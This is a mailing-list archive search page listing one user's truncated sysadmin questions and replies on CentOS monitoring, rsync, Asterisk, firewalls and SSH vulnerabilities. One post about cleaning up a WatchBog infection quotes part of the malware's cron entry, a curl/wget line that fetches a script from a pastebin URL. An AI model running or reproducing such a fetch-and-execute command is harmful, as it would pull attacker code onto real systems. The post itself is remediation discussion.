search for: kaushalshriyan

Hi, Are there any utilities or tools to look at historical data of Memory, CPU Utilization or IO activity on CentOS 6.4 or 5.9 Version? For example the how much the memory was consumed for the period of last six months. Regards, Kaushal

hi I have the script http://pastebin.com/d4b062d28 and the roots cron entry are as below 30 2 * * * su sms /usr/local/bin/testrsync_mysql.sh I am getting the below error building file list ... rsync: opendir "/var/lib/mysql/wordpress" failed: Permission denied (13) done mysql/ib_logfile0 mysql/ib_logfile1 Killed by signal 2. rsync error: unexplained error (code 255) at rsync.c(276)

Hi, I have 8 E1 PRI Lines and i have 200 phone numbers and 200 channels (25 channels per PRI). is there a utility available in Asterisk to dial out 200 numbers and run a campaign for 200 numbers concurrently and play a mp3 file ? Please suggest/guide Regards Kaushal

Hi, I am running CentOS Linux release 7.7.1908 (Core). Does CentOS Linux kernel 3.10.0-1062.1.1.el7.x86_64 support kernel updates without rebooting (Live Patching)? I look forward to hearing from you and thanks in advance. Best Regards, Kaushal

Hi Is there a way to nail down the issue of high load on a server basically trying to understand the reason behind high load at a specific time period. I use top command but it does not have history. Nagios reports saying "*[04-25-2012 10:11:00] SERVICE ALERT: dev;LOAD;WARNING;HARD;3;WARNING - load average: 6.88, 6.36, 5.71"* * * Please help me understand. Regards Kaushal

Hi, Is there a step by step guide to configure amanda server and client on CentOS and backup on hard drive? Regards Kaushal

Hi, I have HT Feature available on my Dell Server R720. Please help me understand if HT is enabled on the server, will there be a performance impact. What are the deciding factors to enable HT on the servers. Regards Kaushal

Hi Please help me understand about the below issue ? [root at asterisk1 ~]# /etc/init.d/asterisk restart Stopping safe_asterisk: [ OK ] Shutting down asterisk: [ OK ] Starting asterisk: /usr/sbin/safe_asterisk: line 86: ulimit: open files: cannot modify limit: Operation not permitted

Hi, I have been looking at Asterisk SCF http://www.asterisk.org/asterisk/scf, but its not yet production ready. Can someone please pitch in about HA feature in Asterisk ? (HA -> High Availability.) Also, What would be the pros and cons of using AsteriskNow over Asterisk ? Are the versions same in Asterisk and AsteriskNow ? We have been evaluating Asterisk for our Voice Application and it seems

Hi, Please help me understand the following applications and what are its advantages if we compare between each of them. Asterisk, FreeSWITCH, TrixBox, SER, OpenSER, sipX, CallWeaver, and YATE. Regards, Kaushal -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://lists.digium.com/pipermail/asterisk-users/attachments/20120103/ffad2be6/attachment.htm>

Valeri Galtsev wrote: > On 12/17/18 2:57 PM, Mauricio Tavares wrote: >> On Sat, Dec 15, 2018 at 12:40 PM Kaushal Shriyan >> <kaushalshriyan at gmail.com> wrote: >>> >>> >>> Is there a way to find out how the CentOS 7.5 Linux box got infected >>> with malware? Currently i am referring to >>> http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malw >>> areransomware.h...

Hi, I am running CentOS Linux release 8.2.2004 (Core) on a remote server. I am running the below iptables command to allow SSH port 22 from a specific source IP 219.91.200.59 iptables -A INPUT -m tcp -p tcp -s 219.91.200.59 --dport 22 -j ACCEPT > service iptables save The above iptables ruleset is not working and I am still able to connect from the internet to SSH port 22. I look forward to

Hi, Is there a way to measure network bandwidth per process in CentOS Linux release 7.6.1810 (Core) using any utility? I was reading about nethogs but it does not have the option to run it in daemon mode so that we can take a look at historical data to figure out the process which was consuming high network bandwidth instead it is a good tool for Live monitoring. Please suggest. Thanks in

You might find RedHat's CVE page on this useful: https://access.redhat.com/security/cve/cve-2023-48795 On Tue, Jan 23, 2024 at 10:04?AM Kaushal Shriyan <kaushalshriyan at gmail.com> wrote: > Hi, > > I have the SSH Terrapin Prefix Truncation Weakness on Red Hat Enterprise > Linux release 8.7 (Ootpa). The details are as follows. > > # rpm -qa | grep openssh > openssh-8.0p1-16.el8.x86_64 > openssh-askpass-8.0p1-16.el8.x86_64 > openssh-...

Hi, Is there a way to find out how the CentOS 7.5 Linux box got infected with malware? Currently i am referring to http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html to carry out the below steps and is done manually. 1)rm -fr /tmp/*timesyncc.service* 2)crontab -e -u apigee delete the cron entry */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget

On Sat, Dec 15, 2018 at 11:11 PM Kaushal Shriyan <kaushalshriyan at gmail.com> wrote: > Hi, > > Is there a way to find out how the CentOS 7.5 Linux box got infected with > malware? > Currently i am referring to > http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html > to carry out the below steps and is...

On Sat, Dec 15, 2018 at 12:40 PM Kaushal Shriyan <kaushalshriyan at gmail.com> wrote: > > Hi, > > Is there a way to find out how the CentOS 7.5 Linux box got infected with > malware? > Currently i am referring to > http://sudhakarbellamkonda.blogspot.com/2018/11/blocking-watchbog-malwareransomware.html > to carry out the below steps an...

On Tue, Apr 16, 2019 at 10:30 PM Kaushal Shriyan <kaushalshriyan at gmail.com> wrote: > Hi, > > Is there a way to measure network bandwidth per process in CentOS Linux > release 7.6.1810 (Core) using any utility? I was reading about nethogs but > it does not have the option to run it in daemon mode so that we can take a > look at historical...

On Wed, Oct 9, 2019 at 11:27 AM Kaushal Shriyan <kaushalshriyan at gmail.com> wrote: > Hi, > > I am running CentOS Linux release 7.7.1908 (Core). Does CentOS Linux kernel > 3.10.0-1062.1.1.el7.x86_64 support kernel updates without rebooting (Live > Patching)? > > I look forward to hearing from you and thanks in advance. > > > t...

On Fri, Jul 17, 2020 at 2:41 AM Kenneth Porter <shiva at sewingwitch.com> wrote: > --On Thursday, July 16, 2020 10:41 PM +0530 Kaushal Shriyan > <kaushalshriyan at gmail.com> wrote: > > > I have run the below command but I am still able to connect from the > > internet. Do I need to add any drop traffic policy using nft? > > A single rule doesn't tell us enough. Dump the entire firewall to a > pastebin and post the link here....